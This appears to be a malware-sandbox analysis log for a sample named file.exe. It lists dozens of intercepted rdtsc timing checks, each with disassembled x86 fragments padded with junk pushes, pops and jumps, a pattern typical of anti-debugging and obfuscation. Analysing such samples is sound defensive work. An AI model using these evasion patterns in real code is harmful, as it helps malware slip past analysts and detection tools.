Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86431A second address: 86432D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFE30DC1B0Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8644D6 second address: 8644DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8644DA second address: 8644EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jl 00007EFE30DC1B06h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86461E second address: 864639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F15h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE6BD second address: 7DE6CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE6CA second address: 7DE6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFE30C69F10h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE6E3 second address: 7DE6F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C1E9 second address: 86C1F1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C1F1 second address: 86C1F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C1F9 second address: 86C20B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007EFE30C69F06h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA254 second address: 7EA258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA258 second address: 7EA25C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA25C second address: 7EA294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007EFE30DC1B06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007EFE30DC1B0Ah 0x00000011 popad 0x00000012 jc 00007EFE30DC1B29h 0x00000018 push edi 0x00000019 jmp 00007EFE30DC1B11h 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 jng 00007EFE30DC1B06h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872FF0 second address: 873000 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007EFE30C69F06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873000 second address: 873017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B13h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873017 second address: 87301B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87301B second address: 873050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jl 00007EFE30DC1B06h 0x0000000f jl 00007EFE30DC1B06h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007EFE30DC1B17h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8734ED second address: 8734F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8734F4 second address: 873512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007EFE30DC1B17h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873512 second address: 873531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007EFE30C69F0Ch 0x00000011 jno 00007EFE30C69F08h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873531 second address: 873541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007EFE30DC1B06h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873541 second address: 87354B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFE30C69F06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878599 second address: 8785AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007EFE30DC1B08h 0x0000000a pop esi 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87884A second address: 878850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878AB7 second address: 878ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82884B second address: 82884F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878C46 second address: 878C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007EFE30DC1B0Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878D8D second address: 878D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878D91 second address: 878DA5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFE30DC1B06h 0x00000008 jc 00007EFE30DC1B06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DA5 second address: 878DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DA9 second address: 878DB3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFE30DC1B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DB3 second address: 878DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DB9 second address: 878DD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B12h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DD3 second address: 878DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DD7 second address: 878DEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007EFE30DC1B1Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DEB second address: 878DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879870 second address: 879878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D693 second address: 87D697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8833F8 second address: 883407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jp 00007EFE30DC1B12h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883407 second address: 88340D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883565 second address: 88356B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88356B second address: 88356F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88356F second address: 8835A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFE30DC1B15h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8835A0 second address: 8835B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007EFE30C69F06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8835B0 second address: 8835B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8842F4 second address: 8842FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8842FA second address: 8842FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8842FF second address: 884314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007EFE30C69F06h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884314 second address: 88432F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007EFE30DC1B14h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884603 second address: 884607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8848D8 second address: 8848DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8876F1 second address: 88770F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFE30C69F12h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88770F second address: 887715 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887715 second address: 887744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFE30C69F14h 0x0000000d jmp 00007EFE30C69F13h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA76 second address: 88DAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jl 00007EFE30DC1B18h 0x0000000d jmp 00007EFE30DC1B12h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007EFE30DC1B10h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DAA7 second address: 88DAC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007EFE30C69F06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DAC8 second address: 88DACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892484 second address: 892491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jg 00007EFE30C69F06h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892621 second address: 89263B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B10h 0x00000009 popad 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89263B second address: 892640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892640 second address: 892651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFE30DC1B0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892A6C second address: 892A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892FDD second address: 892FE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892FE4 second address: 892FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFE30C69F06h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 pop eax 0x00000013 jo 00007EFE30C69F06h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B1E2 second address: 89B1E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B1E6 second address: 89B1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFE30C69F06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B1F2 second address: 89B1F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899B19 second address: 899B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899F0B second address: 899F10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A9FE second address: 89AA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA04 second address: 89AA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA08 second address: 89AA14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007EFE30C69F06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA14 second address: 89AA2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007EFE30DC1B11h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA2B second address: 89AA4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007EFE30C69F06h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41A0 second address: 8A41B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007EFE30DC1B06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41B5 second address: 8A41B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41B9 second address: 8A41D1 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFE30DC1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007EFE30DC1B0Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41D1 second address: 8A41D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D3C second address: 8A3D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D45 second address: 8A3D4B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF679 second address: 8AF67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF67F second address: 8AF683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF683 second address: 8AF691 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007EFE30DC1B08h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF691 second address: 8AF696 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5E7E second address: 8B5E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007EFE30DC1B06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jbe 00007EFE30DC1B18h 0x00000018 pushad 0x00000019 jo 00007EFE30DC1B06h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5A3E second address: 8B5A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007EFE30C69F14h 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007EFE30C69F0Bh 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5A6B second address: 8B5A75 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFE30DC1B0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3352 second address: 8C335C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007EFE30C69F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C62EA second address: 8C6332 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFE30DC1B06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007EFE30DC1B08h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jbe 00007EFE30DC1B0Eh 0x0000001c jc 00007EFE30DC1B06h 0x00000022 push edx 0x00000023 pop edx 0x00000024 jmp 00007EFE30DC1B16h 0x00000029 jne 00007EFE30DC1B0Ah 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6332 second address: 8C6338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6338 second address: 8C633C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBD59 second address: 8CBD5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBD5D second address: 8CBD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBD65 second address: 8CBD7A instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFE30C69F0Eh 0x00000008 jnp 00007EFE30C69F06h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBD7A second address: 8CBDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007EFE30DC1B11h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFE30DC1B17h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBDAD second address: 8CBDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBDB3 second address: 8CBDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B0Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBDC6 second address: 8CBDCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBDCA second address: 8CBDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
